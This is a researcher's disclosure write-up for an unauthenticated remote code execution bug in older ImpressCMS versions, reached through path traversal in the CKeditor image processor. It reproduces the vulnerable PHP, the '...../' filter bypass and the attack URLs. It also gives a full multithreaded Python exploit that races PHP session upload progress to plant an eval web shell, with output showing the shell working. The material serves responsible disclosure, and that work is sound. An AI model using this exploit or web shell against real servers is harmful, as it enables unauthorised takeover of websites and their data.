impressCMS - unauthenticated code execution

12-02-2022 - rekter0

> ImpressCMS is an open source content management system for building and maintaining dynamic web sites, written in the PHP programming language and using a MySQL database

Versions affected < 1.4.2 pre-release, < v2.0.0 alpha 11

Summary

CKeditor image processor in impressCMS used to have insufficient filter for user supplied image path gives attacker possible path traversal leading to arbitrary file copy/overwrite, with default php config for session upload progress this could lead to pre-auth RCE.

Vulnerability analysis

Arbitrary file copy

htdocs/editors/CKeditor/ceditfinder/imageeditor/processImage.php

```
> header("Content-Type: text/plain"); $imageName = str_replace(array("../", "./"
), "", $_REQUEST['imageName']);
> $origName = str_replace(array("../", "./"), "", $_REQUEST['origName']);
if (empty($origName)) {
    echo "{imageFound:false}"; exit;
}
...
...
...
...
$action = $_REQUEST["action"]; $fileInfo = pathinfo($imageName); $extension = $fi
leInfo['extension']; switch ($action) {
    case "undo":  // This is actually revert now, as only revert is supported
        if (file_exists($origName)) {
>           unlink($imageName); copy($origName, $imageName); }
        break;
```

When undo action is performed, copy() function was called with $_REQUEST['origName'] and $_REQUEST['imageName'] parameters controlled by attacker

Path traversal

str_replace is not recursive

```
~$ php -a
Interactive mode enabled

php > var_dump(str_replace(array("../", "./"), "", '...../'));
string(3) "../"
```

`...../` after going through the filter becomes `../`

To copy an arbitrary file, exploit could have been the following:

```
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php?ima
geName=[%SOURCE_FILE%]&origName=[%DEST_FILE%]&action=undo
```

similar vulnerability is also triggered by the action "save"
vulnerable code snippet:

```
<?php
case "save":  // Copy working image back to original
        copy($imageName, $origName); break;
```

Remote Code Execution

Since we got an arbitrary file copy, all we need is to have our malicious php code somewhere on the server and we copy it to a public directory with .php extension,
there's some modules like forum that allow a user to upload a picture as attachement, we can embed our malicious php code inside the picture metadata.
but we need a more reliable way, since upload function can be disabled.
luckily php is shiped with `upload_progress` feature which could help us get our code on a file in the server. Ref: https://blog.orange.tw/2018/10/ (https://blog.orange.tw/2018/10/)

TL;DR, by providing PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, php will enable session for you and containing value from post data parameter PHP_SESSION_UPLOAD_PROGRESS, where we will have our php code

to exploit this, we create the session file, then we copy it.
there's a bit of a race here,
to properly exploit this, we a pool of multipart post requests with cookie PHPSESSID=letspwnimpressCMS and POST parameter PHP_SESSION_UPLOAD_PROGRESS containing our payload `<?=eval($_GET[a]);exit;//` to

```
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php
```

and make another thread pool to trigger the file copy to guarantee the success of the exploit.

```
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php?ori
gName=/var/lib/php/sessions/sess_letspwnimpressCMS&imageName=...../////...../////
...../////...../////uploads/aa.php&action=save
```

this will copy session file to uploads directory with file name aa.php, and the shell would be found at

```
http://[%CMS_HOST%]/uploads/aa.php?a=phpinfo();
```

final exploit code, this is just a poc made for default php config, use at your own risk

```
import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool
if len(sys.argv)<3:
    print('python '+sys.argv[0]+' http://localhost 1')
    print('python '+sys.argv[0]+' http://localhost 2')
    exit()
HOST = sys.argv[1]
PATH = '/editors/CKeditor/ceditfinder/imageeditor/processImage.php'
sess_name = 'letspwnimpressCMS'
headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}
payload = '<?=eval($_GET[a]);exit;//'
def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'A' + payload + 'A'
    }
    while 1:
        fp = open('/etc/hosts', 'rb')
        r = requests.post(HOST+PATH, files={'f': fp}, data=data, headers=headers)
        fp.close()
def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    while 1:
        url = HOST+PATH+'?origName=...../////...../////...../////...../////uploads/aa.php
&imageName=/var/lib/php/sessions/sess_letspwnimpressCMS&action=save'
        r = requests.get(url, headers=headers)
        c = r.content
        url2 = requests.get(HOST+'/uploads/aa.php?a=echo%20%279999999999999999999
9999999999%27;copy(%27aa.php%27,%27bb.php%27);')
        if('99999999999999999999999999999' in url2.text):
            print('[+] done!')
            print('[!] Check '+HOST+'/uploads/bb.php?a=phpinfo();')
            exit()

if sys.argv[2] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
```

- terminal 1

```
$ python3 a.py http://localhost/ 1
```

- terminal 2

```
$ python3 a.py http://localhost/ 2
[+] done!
[!] Check http://localhost//uploads/bb.php?a=phpinfo();

$ curl "http://localhost//uploads/bb.php?a=phpinfo();"
upload_progress_A<br />
<b>Warning</b>:  Use of undefined constant a - assumed 'a' (this will throw an Er
ror in a future version of PHP) in <b>/var/www/html/uploads/bb.php</b> on line <b
>1</b><br />
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transi
tional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
[...]
[...]
[...]
```

Impact

An unauthenticated attacker could have exploited a path traversal to obtain an arbitrary file copy leading to pre-auth RCE.

Timeline

30-10-2020 - Reported
01-11-2020 - Vendor confirmed
14-12-2020 - Fixed in new release for pre-release v1.4.2
16-10-2021 - Fixed in new release for v2.0.0 alpha 11

impresscms (search?tag=impresscms) - rce (search?tag=rce) - php (search?tag=php) - path traversal (search?tag=path traversal)

CONTACT

(https://twitter.com/rekter0) (https://github.com/rekter0) #
(irc://irc.hackint.org:+6697/) @ (mailto:r0[*at*]haxors[*dot*]org)